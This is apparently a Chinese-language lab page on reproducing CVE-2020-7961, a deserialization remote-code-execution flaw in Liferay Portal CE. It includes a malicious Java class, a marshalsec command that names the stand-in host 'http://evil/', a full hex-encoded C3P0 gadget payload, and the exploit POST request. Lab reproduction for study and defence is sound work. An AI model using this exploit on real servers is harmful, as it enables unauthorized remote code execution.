Liferay Portal CE 反序列化远程代码执行漏洞（CVE-2020-7961）¶
Liferay Portal CE是一款用于快速构建网站的开源平台。其7.2.0 GA1及更早版本的API接口存在反序列化漏洞，攻击者可通过构造特定请求在目标服务器上执行任意命令。
参考链接：
- https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
- https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
- https://xz.aliyun.com/t/7499
- https://xz.aliyun.com/t/7485
漏洞环境¶
执行如下命令启动Liferay Portal 7.2.0 GA1：
docker compose up -d
启动成功后，访问http://your-ip:8080即可查看默认首页。如果环境无法启动，请确保系统内存不少于2GB。
漏洞复现¶
首先准备并编译一个恶意Java类：
// javac LifExp.java
public class LifExp {
static {
try {
String[] cmd = {"bash", "-c", "touch /tmp/success"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在class文件所在目录下启动HTTP文件服务：
$ ls
LifExp.class LifExp.java
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
由于目标Java版本较高，需使用com.mchange.v2.c3p0.WrapperConnectionPoolDataSource利用链。通过marshalsec生成适用于Jackson的Payload：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp
其中http://evil/为HTTP服务地址，LifExp为恶意类名。
将生成的Payload修改为Liferay Portal格式（+参数名:类名=值）：
+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
将Payload合并到HTTP POST请求中发送：
POST /api/jsonws/invoke HTTP/1.1
Host: your-ip:8080
Content-Length: 1346
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
进入容器后，可见/tmp/success文件已被成功创建，证明命令执行成功：
